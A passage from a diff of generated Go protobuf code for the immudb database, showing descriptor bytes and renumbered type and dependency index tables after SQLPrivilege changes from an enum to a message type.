0x4c, + 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x17, 0x82, 0xd3, 0xe4, + 0x93, 0x02, 0x11, 0x3a, 0x01, 0x2a, 0x22, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x71, 0x6c, 0x71, + 0x75, 0x65, 0x72, 0x79, 0x12, 0x64, 0x0a, 0x08, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, + 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, + 0x17, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x11, 0x3a, 0x01, 0x2a, 0x22, 0x0c, 0x2f, 0x64, 0x62, 0x2f, + 0x73, 0x71, 0x6c, 0x71, 0x75, 0x65, 0x72, 0x79, 0x30, 0x01, 0x12, 0x5b, 0x0a, 0x0a, 0x4c, 0x69, + 0x73, 0x74, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x73, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, + 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, + 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, + 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x12, 0x0e, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x61, 0x62, + 0x6c, 0x65, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x12, 0x5b, 0x0a, 0x0d, 0x44, 0x65, 0x73, 0x63, 0x72, + 0x69, 0x62, 0x65, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x1a, 0x1d, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, + 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x15, 0x82, + 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x3a, 0x01, 0x2a, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x61, + 0x62, 0x6c, 0x65, 0x73, 0x12, 0x7f, 0x0a, 0x10, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, + 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, + 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, + 0x74, 0x72, 0x79, 0x22, 0x20, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1a, 0x3a, 0x01, 0x2a, 0x22, 0x15, + 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x73, + 0x71, 0x6c, 0x67, 0x65, 0x74, 0x12, 0x7c, 0x0a, 0x10, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, + 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, + 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x1a, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, + 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x17, 0x82, 0xd3, 0xe4, 0x93, + 0x02, 0x11, 0x3a, 0x01, 0x2a, 0x22, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x72, 0x75, 0x6e, 0x63, + 0x61, 0x74, 0x65, 0x42, 0x91, 0x03, 0x92, 0x41, 0xe0, 0x02, 0x12, 0xee, 0x01, 0x0a, 0x0f, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x12, 0xda, + 0x01, 0x3c, 0x62, 0x3e, 0x49, 0x4d, 0x50, 0x4f, 0x52, 0x54, 0x41, 0x4e, 0x54, 0x3c, 0x2f, 0x62, + 0x3e, 0x3a, 0x20, 0x41, 0x6c, 0x6c, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x67, 0x65, 0x74, + 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x3c, 0x63, 0x6f, 0x64, + 0x65, 0x3e, 0x73, 0x61, 0x66, 0x65, 0x67, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, + 0x20, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, + 0x6e, 0x20, 0x3c, 0x75, 0x3e, 0x62, 0x61, 0x73, 0x65, 0x36, 0x34, 0x2d, 0x65, 0x6e, 0x63, 0x6f, + 0x64, 0x65, 0x64, 0x3c, 0x2f, 0x75, 0x3e, 0x20, 0x6b, 0x65, 0x79, 0x73, 0x20, 0x61, 0x6e, 0x64, + 0x20, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x2c, 0x20, 0x77, 0x68, 0x69, 0x6c, 0x65, 0x20, 0x61, + 0x6c, 0x6c, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, + 0x64, 0x65, 0x3e, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x61, + 0x66, 0x65, 0x73, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x66, 0x75, 0x6e, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x20, 0x65, 0x78, 0x70, 0x65, 0x63, 0x74, 0x20, 0x3c, 0x75, + 0x3e, 0x62, 0x61, 0x73, 0x65, 0x36, 0x34, 0x2d, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x3c, + 0x2f, 0x75, 0x3e, 0x20, 0x69, 0x6e, 0x70, 0x75, 0x74, 0x73, 0x2e, 0x22, 0x04, 0x2f, 0x61, 0x70, + 0x69, 0x5a, 0x59, 0x0a, 0x57, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x4d, 0x08, + 0x02, 0x12, 0x38, 0x41, 0x75, 0x74, 0x68, 0x65, 0x6e, 0x74, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, + 0x6e, 0x20, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x2c, 0x20, 0x70, 0x72, 0x65, 0x66, 0x69, 0x78, 0x65, + 0x64, 0x20, 0x62, 0x79, 0x20, 0x42, 0x65, 0x61, 0x72, 0x65, 0x72, 0x3a, 0x20, 0x42, 0x65, 0x61, + 0x72, 0x65, 0x72, 0x20, 0x3c, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3e, 0x1a, 0x0d, 0x41, 0x75, 0x74, + 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x02, 0x62, 0x0c, 0x0a, 0x0a, + 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x00, 0x5a, 0x2b, 0x67, 0x69, 0x74, 0x68, + 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, + 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, + 0x2f, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, } var ( @@ -10838,16 +10827,16 @@ func file_schema_proto_rawDescGZIP() []byte { return file_schema_proto_rawDescData } -var file_schema_proto_enumTypes = make([]protoimpl.EnumInfo, 4) -var file_schema_proto_msgTypes = make([]protoimpl.MessageInfo, 135) +var file_schema_proto_enumTypes = make([]protoimpl.EnumInfo, 3) +var file_schema_proto_msgTypes = make([]protoimpl.MessageInfo, 136) var file_schema_proto_goTypes = []interface{}{ - (SQLPrivilege)(0), // 0: immudb.schema.SQLPrivilege - (EntryTypeAction)(0), // 1: immudb.schema.EntryTypeAction - (PermissionAction)(0), // 2: immudb.schema.PermissionAction - (TxMode)(0), // 3: immudb.schema.TxMode - (*Key)(nil), // 4: immudb.schema.Key - (*Permission)(nil), // 5: immudb.schema.Permission - (*User)(nil), // 6: immudb.schema.User + (EntryTypeAction)(0), // 0: immudb.schema.EntryTypeAction + (PermissionAction)(0), // 1: immudb.schema.PermissionAction + (TxMode)(0), // 2: immudb.schema.TxMode + (*Key)(nil), // 3: immudb.schema.Key + (*Permission)(nil), // 4: immudb.schema.Permission + (*User)(nil), // 5: immudb.schema.User + (*SQLPrivilege)(nil), // 6: immudb.schema.SQLPrivilege (*UserList)(nil), // 7: immudb.schema.UserList (*CreateUserRequest)(nil), // 8: immudb.schema.CreateUserRequest (*UserRequest)(nil), // 9: immudb.schema.UserRequest @@ -10984,9 +10973,9 @@ var file_schema_proto_goTypes = []interface{}{ (*emptypb.Empty)(nil), // 140: google.protobuf.Empty } var file_schema_proto_depIdxs = []int32{ - 5, // 0: immudb.schema.User.permissions:type_name -> immudb.schema.Permission - 0, // 1: immudb.schema.User.sqlPrivileges:type_name -> immudb.schema.SQLPrivilege - 6, // 2: immudb.schema.UserList.users:type_name -> immudb.schema.User + 4, // 0: immudb.schema.User.permissions:type_name -> immudb.schema.Permission + 6, // 1: immudb.schema.User.sqlPrivileges:type_name -> immudb.schema.SQLPrivilege + 5, // 2: immudb.schema.UserList.users:type_name -> immudb.schema.User 129, // 3: immudb.schema.Precondition.keyMustExist:type_name -> immudb.schema.Precondition.KeyMustExistPrecondition 130, // 4: immudb.schema.Precondition.keyMustNotExist:type_name -> immudb.schema.Precondition.KeyMustNotExistPrecondition 131, // 5: immudb.schema.Precondition.keyNotModifiedAfterTX:type_name -> immudb.schema.Precondition.KeyNotModifiedAfterTXPrecondition @@ -11039,7 +11028,7 @@ var file_schema_proto_depIdxs = []int32{ 64, // 52: immudb.schema.EntriesSpec.kvEntriesSpec:type_name -> immudb.schema.EntryTypeSpec 64, // 53: immudb.schema.EntriesSpec.zEntriesSpec:type_name -> immudb.schema.EntryTypeSpec 64, // 54: immudb.schema.EntriesSpec.sqlEntriesSpec:type_name -> immudb.schema.EntryTypeSpec - 1, // 55: immudb.schema.EntryTypeSpec.action:type_name -> immudb.schema.EntryTypeAction + 0, // 55: immudb.schema.EntryTypeSpec.action:type_name -> immudb.schema.EntryTypeAction 63, // 56: immudb.schema.VerifiableTxRequest.entriesSpec:type_name -> immudb.schema.EntriesSpec 63, // 57: immudb.schema.TxScanRequest.entriesSpec:type_name -> immudb.schema.EntriesSpec 36, // 58: immudb.schema.TxList.txs:type_name -> immudb.schema.Tx @@ -11116,182 +11105,181 @@ var file_schema_proto_depIdxs = []int32{ 133, // 129: immudb.schema.VerifiableSQLEntry.ColIdsByName:type_name -> immudb.schema.VerifiableSQLEntry.ColIdsByNameEntry 134, // 130: immudb.schema.VerifiableSQLEntry.ColTypesById:type_name -> immudb.schema.VerifiableSQLEntry.ColTypesByIdEntry 135, // 131: immudb.schema.VerifiableSQLEntry.ColLenById:type_name -> immudb.schema.VerifiableSQLEntry.ColLenByIdEntry - 2, // 132: immudb.schema.ChangePermissionRequest.action:type_name -> immudb.schema.PermissionAction - 2, // 133: immudb.schema.ChangeSQLPrivilegesRequest.action:type_name -> immudb.schema.PermissionAction - 0, // 134: immudb.schema.ChangeSQLPrivilegesRequest.privileges:type_name -> immudb.schema.SQLPrivilege - 70, // 135: immudb.schema.DatabaseListResponse.databases:type_name -> immudb.schema.Database - 110, // 136: immudb.schema.DatabaseListResponseV2.databases:type_name -> immudb.schema.DatabaseInfo - 84, // 137: immudb.schema.DatabaseInfo.settings:type_name -> immudb.schema.DatabaseNullableSettings - 136, // 138: immudb.schema.Chunk.metadata:type_name -> immudb.schema.Chunk.MetadataEntry - 115, // 139: immudb.schema.SQLExecRequest.params:type_name -> immudb.schema.NamedParam - 115, // 140: immudb.schema.SQLQueryRequest.params:type_name -> immudb.schema.NamedParam - 121, // 141: immudb.schema.NamedParam.value:type_name -> immudb.schema.SQLValue - 117, // 142: immudb.schema.SQLExecResult.txs:type_name -> immudb.schema.CommittedSQLTx - 30, // 143: immudb.schema.CommittedSQLTx.header:type_name -> immudb.schema.TxHeader - 137, // 144: immudb.schema.CommittedSQLTx.lastInsertedPKs:type_name -> immudb.schema.CommittedSQLTx.LastInsertedPKsEntry - 138, // 145: immudb.schema.CommittedSQLTx.firstInsertedPKs:type_name -> immudb.schema.CommittedSQLTx.FirstInsertedPKsEntry - 119, // 146: immudb.schema.SQLQueryResult.columns:type_name -> immudb.schema.Column - 120, // 147: immudb.schema.SQLQueryResult.rows:type_name -> immudb.schema.Row - 121, // 148: immudb.schema.Row.values:type_name -> immudb.schema.SQLValue - 139, // 149: immudb.schema.SQLValue.null:type_name -> google.protobuf.NullValue - 3, // 150: immudb.schema.NewTxRequest.mode:type_name -> immudb.schema.TxMode - 79, // 151: immudb.schema.NewTxRequest.snapshotMustIncludeTxID:type_name -> immudb.schema.NullableUint64 - 83, // 152: immudb.schema.NewTxRequest.snapshotRenewalPeriod:type_name -> immudb.schema.NullableMilliseconds - 121, // 153: immudb.schema.CommittedSQLTx.LastInsertedPKsEntry.value:type_name -> immudb.schema.SQLValue - 121, // 154: immudb.schema.CommittedSQLTx.FirstInsertedPKsEntry.value:type_name -> immudb.schema.SQLValue - 140, // 155: immudb.schema.ImmuService.ListUsers:input_type -> google.protobuf.Empty - 8, // 156: immudb.schema.ImmuService.CreateUser:input_type -> immudb.schema.CreateUserRequest - 10, // 157: immudb.schema.ImmuService.ChangePassword:input_type -> immudb.schema.ChangePasswordRequest - 103, // 158: immudb.schema.ImmuService.ChangePermission:input_type -> immudb.schema.ChangePermissionRequest - 104, // 159: immudb.schema.ImmuService.ChangeSQLPrivileges:input_type -> immudb.schema.ChangeSQLPrivilegesRequest - 106, // 160: immudb.schema.ImmuService.SetActiveUser:input_type -> immudb.schema.SetActiveUserRequest - 13, // 161: immudb.schema.ImmuService.UpdateAuthConfig:input_type -> immudb.schema.AuthConfig - 14, // 162: immudb.schema.ImmuService.UpdateMTLSConfig:input_type -> immudb.schema.MTLSConfig - 15, // 163: immudb.schema.ImmuService.OpenSession:input_type -> immudb.schema.OpenSessionRequest - 140, // 164: immudb.schema.ImmuService.CloseSession:input_type -> google.protobuf.Empty - 140, // 165: immudb.schema.ImmuService.KeepAlive:input_type -> google.protobuf.Empty - 122, // 166: immudb.schema.ImmuService.NewTx:input_type -> immudb.schema.NewTxRequest - 140, // 167: immudb.schema.ImmuService.Commit:input_type -> google.protobuf.Empty - 140, // 168: immudb.schema.ImmuService.Rollback:input_type -> google.protobuf.Empty - 113, // 169: immudb.schema.ImmuService.TxSQLExec:input_type -> immudb.schema.SQLExecRequest - 114, // 170: immudb.schema.ImmuService.TxSQLQuery:input_type -> immudb.schema.SQLQueryRequest - 11, // 171: immudb.schema.ImmuService.Login:input_type -> immudb.schema.LoginRequest - 140, // 172: immudb.schema.ImmuService.Logout:input_type -> google.protobuf.Empty - 44, // 173: immudb.schema.ImmuService.Set:input_type -> immudb.schema.SetRequest - 48, // 174: immudb.schema.ImmuService.VerifiableSet:input_type -> immudb.schema.VerifiableSetRequest - 45, // 175: immudb.schema.ImmuService.Get:input_type -> immudb.schema.KeyRequest - 49, // 176: immudb.schema.ImmuService.VerifiableGet:input_type -> immudb.schema.VerifiableGetRequest - 47, // 177: immudb.schema.ImmuService.Delete:input_type -> immudb.schema.DeleteKeysRequest - 46, // 178: immudb.schema.ImmuService.GetAll:input_type -> immudb.schema.KeyListRequest - 22, // 179: immudb.schema.ImmuService.ExecAll:input_type -> immudb.schema.ExecAllRequest - 26, // 180: immudb.schema.ImmuService.Scan:input_type -> immudb.schema.ScanRequest - 27, // 181: immudb.schema.ImmuService.Count:input_type -> immudb.schema.KeyPrefix - 140, // 182: immudb.schema.ImmuService.CountAll:input_type -> google.protobuf.Empty - 62, // 183: immudb.schema.ImmuService.TxById:input_type -> immudb.schema.TxRequest - 65, // 184: immudb.schema.ImmuService.VerifiableTxById:input_type -> immudb.schema.VerifiableTxRequest - 66, // 185: immudb.schema.ImmuService.TxScan:input_type -> immudb.schema.TxScanRequest - 60, // 186: immudb.schema.ImmuService.History:input_type -> immudb.schema.HistoryRequest - 50, // 187: immudb.schema.ImmuService.ServerInfo:input_type -> immudb.schema.ServerInfoRequest - 140, // 188: immudb.schema.ImmuService.Health:input_type -> google.protobuf.Empty - 140, // 189: immudb.schema.ImmuService.DatabaseHealth:input_type -> google.protobuf.Empty - 140, // 190: immudb.schema.ImmuService.CurrentState:input_type -> google.protobuf.Empty - 55, // 191: immudb.schema.ImmuService.SetReference:input_type -> immudb.schema.ReferenceRequest - 56, // 192: immudb.schema.ImmuService.VerifiableSetReference:input_type -> immudb.schema.VerifiableReferenceRequest - 57, // 193: immudb.schema.ImmuService.ZAdd:input_type -> immudb.schema.ZAddRequest - 61, // 194: immudb.schema.ImmuService.VerifiableZAdd:input_type -> immudb.schema.VerifiableZAddRequest - 59, // 195: immudb.schema.ImmuService.ZScan:input_type -> immudb.schema.ZScanRequest - 70, // 196: immudb.schema.ImmuService.CreateDatabase:input_type -> immudb.schema.Database - 71, // 197: immudb.schema.ImmuService.CreateDatabaseWith:input_type -> immudb.schema.DatabaseSettings - 72, // 198: immudb.schema.ImmuService.CreateDatabaseV2:input_type -> immudb.schema.CreateDatabaseRequest - 89, // 199: immudb.schema.ImmuService.LoadDatabase:input_type -> immudb.schema.LoadDatabaseRequest - 91, // 200: immudb.schema.ImmuService.UnloadDatabase:input_type -> immudb.schema.UnloadDatabaseRequest - 93, // 201: immudb.schema.ImmuService.DeleteDatabase:input_type -> immudb.schema.DeleteDatabaseRequest - 140, // 202: immudb.schema.ImmuService.DatabaseList:input_type -> google.protobuf.Empty - 108, // 203: immudb.schema.ImmuService.DatabaseListV2:input_type -> immudb.schema.DatabaseListRequestV2 - 70, // 204: immudb.schema.ImmuService.UseDatabase:input_type -> immudb.schema.Database - 71, // 205: immudb.schema.ImmuService.UpdateDatabase:input_type -> immudb.schema.DatabaseSettings - 74, // 206: immudb.schema.ImmuService.UpdateDatabaseV2:input_type -> immudb.schema.UpdateDatabaseRequest - 140, // 207: immudb.schema.ImmuService.GetDatabaseSettings:input_type -> google.protobuf.Empty - 76, // 208: immudb.schema.ImmuService.GetDatabaseSettingsV2:input_type -> immudb.schema.DatabaseSettingsRequest - 95, // 209: immudb.schema.ImmuService.FlushIndex:input_type -> immudb.schema.FlushIndexRequest - 140, // 210: immudb.schema.ImmuService.CompactIndex:input_type -> google.protobuf.Empty - 45, // 211: immudb.schema.ImmuService.streamGet:input_type -> immudb.schema.KeyRequest - 111, // 212: immudb.schema.ImmuService.streamSet:input_type -> immudb.schema.Chunk - 49, // 213: immudb.schema.ImmuService.streamVerifiableGet:input_type -> immudb.schema.VerifiableGetRequest - 111, // 214: immudb.schema.ImmuService.streamVerifiableSet:input_type -> immudb.schema.Chunk - 26, // 215: immudb.schema.ImmuService.streamScan:input_type -> immudb.schema.ScanRequest - 59, // 216: immudb.schema.ImmuService.streamZScan:input_type -> immudb.schema.ZScanRequest - 60, // 217: immudb.schema.ImmuService.streamHistory:input_type -> immudb.schema.HistoryRequest - 111, // 218: immudb.schema.ImmuService.streamExecAll:input_type -> immudb.schema.Chunk - 68, // 219: immudb.schema.ImmuService.exportTx:input_type -> immudb.schema.ExportTxRequest - 111, // 220: immudb.schema.ImmuService.replicateTx:input_type -> immudb.schema.Chunk - 68, // 221: immudb.schema.ImmuService.streamExportTx:input_type -> immudb.schema.ExportTxRequest - 113, // 222: immudb.schema.ImmuService.SQLExec:input_type -> immudb.schema.SQLExecRequest - 114, // 223: immudb.schema.ImmuService.UnarySQLQuery:input_type -> immudb.schema.SQLQueryRequest - 114, // 224: immudb.schema.ImmuService.SQLQuery:input_type -> immudb.schema.SQLQueryRequest - 140, // 225: immudb.schema.ImmuService.ListTables:input_type -> google.protobuf.Empty - 97, // 226: immudb.schema.ImmuService.DescribeTable:input_type -> immudb.schema.Table - 99, // 227: immudb.schema.ImmuService.VerifiableSQLGet:input_type -> immudb.schema.VerifiableSQLGetRequest - 127, // 228: immudb.schema.ImmuService.TruncateDatabase:input_type -> immudb.schema.TruncateDatabaseRequest - 7, // 229: immudb.schema.ImmuService.ListUsers:output_type -> immudb.schema.UserList - 140, // 230: immudb.schema.ImmuService.CreateUser:output_type -> google.protobuf.Empty - 140, // 231: immudb.schema.ImmuService.ChangePassword:output_type -> google.protobuf.Empty - 140, // 232: immudb.schema.ImmuService.ChangePermission:output_type -> google.protobuf.Empty - 105, // 233: immudb.schema.ImmuService.ChangeSQLPrivileges:output_type -> immudb.schema.ChangeSQLPrivilegesResponse - 140, // 234: immudb.schema.ImmuService.SetActiveUser:output_type -> google.protobuf.Empty - 140, // 235: immudb.schema.ImmuService.UpdateAuthConfig:output_type -> google.protobuf.Empty - 140, // 236: immudb.schema.ImmuService.UpdateMTLSConfig:output_type -> google.protobuf.Empty - 16, // 237: immudb.schema.ImmuService.OpenSession:output_type -> immudb.schema.OpenSessionResponse - 140, // 238: immudb.schema.ImmuService.CloseSession:output_type -> google.protobuf.Empty - 140, // 239: immudb.schema.ImmuService.KeepAlive:output_type -> google.protobuf.Empty - 123, // 240: immudb.schema.ImmuService.NewTx:output_type -> immudb.schema.NewTxResponse - 117, // 241: immudb.schema.ImmuService.Commit:output_type -> immudb.schema.CommittedSQLTx - 140, // 242: immudb.schema.ImmuService.Rollback:output_type -> google.protobuf.Empty - 140, // 243: immudb.schema.ImmuService.TxSQLExec:output_type -> google.protobuf.Empty - 118, // 244: immudb.schema.ImmuService.TxSQLQuery:output_type -> immudb.schema.SQLQueryResult - 12, // 245: immudb.schema.ImmuService.Login:output_type -> immudb.schema.LoginResponse - 140, // 246: immudb.schema.ImmuService.Logout:output_type -> google.protobuf.Empty - 30, // 247: immudb.schema.ImmuService.Set:output_type -> immudb.schema.TxHeader - 40, // 248: immudb.schema.ImmuService.VerifiableSet:output_type -> immudb.schema.VerifiableTx - 19, // 249: immudb.schema.ImmuService.Get:output_type -> immudb.schema.Entry - 42, // 250: immudb.schema.ImmuService.VerifiableGet:output_type -> immudb.schema.VerifiableEntry - 30, // 251: immudb.schema.ImmuService.Delete:output_type -> immudb.schema.TxHeader - 23, // 252: immudb.schema.ImmuService.GetAll:output_type -> immudb.schema.Entries - 30, // 253: immudb.schema.ImmuService.ExecAll:output_type -> immudb.schema.TxHeader - 23, // 254: immudb.schema.ImmuService.Scan:output_type -> immudb.schema.Entries - 28, // 255: immudb.schema.ImmuService.Count:output_type -> immudb.schema.EntryCount - 28, // 256: immudb.schema.ImmuService.CountAll:output_type -> immudb.schema.EntryCount - 36, // 257: immudb.schema.ImmuService.TxById:output_type -> immudb.schema.Tx - 40, // 258: immudb.schema.ImmuService.VerifiableTxById:output_type -> immudb.schema.VerifiableTx - 67, // 259: immudb.schema.ImmuService.TxScan:output_type -> immudb.schema.TxList - 23, // 260: immudb.schema.ImmuService.History:output_type -> immudb.schema.Entries - 51, // 261: immudb.schema.ImmuService.ServerInfo:output_type -> immudb.schema.ServerInfoResponse - 52, // 262: immudb.schema.ImmuService.Health:output_type -> immudb.schema.HealthResponse - 53, // 263: immudb.schema.ImmuService.DatabaseHealth:output_type -> immudb.schema.DatabaseHealthResponse - 54, // 264: immudb.schema.ImmuService.CurrentState:output_type -> immudb.schema.ImmutableState - 30, // 265: immudb.schema.ImmuService.SetReference:output_type -> immudb.schema.TxHeader - 40, // 266: immudb.schema.ImmuService.VerifiableSetReference:output_type -> immudb.schema.VerifiableTx - 30, // 267: immudb.schema.ImmuService.ZAdd:output_type -> immudb.schema.TxHeader - 40, // 268: immudb.schema.ImmuService.VerifiableZAdd:output_type -> immudb.schema.VerifiableTx - 25, // 269: immudb.schema.ImmuService.ZScan:output_type -> immudb.schema.ZEntries - 140, // 270: immudb.schema.ImmuService.CreateDatabase:output_type -> google.protobuf.Empty - 140, // 271: immudb.schema.ImmuService.CreateDatabaseWith:output_type -> google.protobuf.Empty - 73, // 272: immudb.schema.ImmuService.CreateDatabaseV2:output_type -> immudb.schema.CreateDatabaseResponse - 90, // 273: immudb.schema.ImmuService.LoadDatabase:output_type -> immudb.schema.LoadDatabaseResponse - 92, // 274: immudb.schema.ImmuService.UnloadDatabase:output_type -> immudb.schema.UnloadDatabaseResponse - 94, // 275: immudb.schema.ImmuService.DeleteDatabase:output_type -> immudb.schema.DeleteDatabaseResponse - 107, // 276: immudb.schema.ImmuService.DatabaseList:output_type -> immudb.schema.DatabaseListResponse - 109, // 277: immudb.schema.ImmuService.DatabaseListV2:output_type -> immudb.schema.DatabaseListResponseV2 - 102, // 278: immudb.schema.ImmuService.UseDatabase:output_type -> immudb.schema.UseDatabaseReply - 140, // 279: immudb.schema.ImmuService.UpdateDatabase:output_type -> google.protobuf.Empty - 75, // 280: immudb.schema.ImmuService.UpdateDatabaseV2:output_type -> immudb.schema.UpdateDatabaseResponse - 71, // 281: immudb.schema.ImmuService.GetDatabaseSettings:output_type -> immudb.schema.DatabaseSettings - 77, // 282: immudb.schema.ImmuService.GetDatabaseSettingsV2:output_type -> immudb.schema.DatabaseSettingsResponse - 96, // 283: immudb.schema.ImmuService.FlushIndex:output_type -> immudb.schema.FlushIndexResponse - 140, // 284: immudb.schema.ImmuService.CompactIndex:output_type -> google.protobuf.Empty - 111, // 285: immudb.schema.ImmuService.streamGet:output_type -> immudb.schema.Chunk - 30, // 286: immudb.schema.ImmuService.streamSet:output_type -> immudb.schema.TxHeader - 111, // 287: immudb.schema.ImmuService.streamVerifiableGet:output_type -> immudb.schema.Chunk - 40, // 288: immudb.schema.ImmuService.streamVerifiableSet:output_type -> immudb.schema.VerifiableTx - 111, // 289: immudb.schema.ImmuService.streamScan:output_type -> immudb.schema.Chunk - 111, // 290: immudb.schema.ImmuService.streamZScan:output_type -> immudb.schema.Chunk - 111, // 291: immudb.schema.ImmuService.streamHistory:output_type -> immudb.schema.Chunk - 30, // 292: immudb.schema.ImmuService.streamExecAll:output_type -> immudb.schema.TxHeader - 111, // 293: immudb.schema.ImmuService.exportTx:output_type -> immudb.schema.Chunk - 30, // 294: immudb.schema.ImmuService.replicateTx:output_type -> immudb.schema.TxHeader - 111, // 295: immudb.schema.ImmuService.streamExportTx:output_type -> immudb.schema.Chunk - 116, // 296: immudb.schema.ImmuService.SQLExec:output_type -> immudb.schema.SQLExecResult - 118, // 297: immudb.schema.ImmuService.UnarySQLQuery:output_type -> immudb.schema.SQLQueryResult - 118, // 298: immudb.schema.ImmuService.SQLQuery:output_type -> 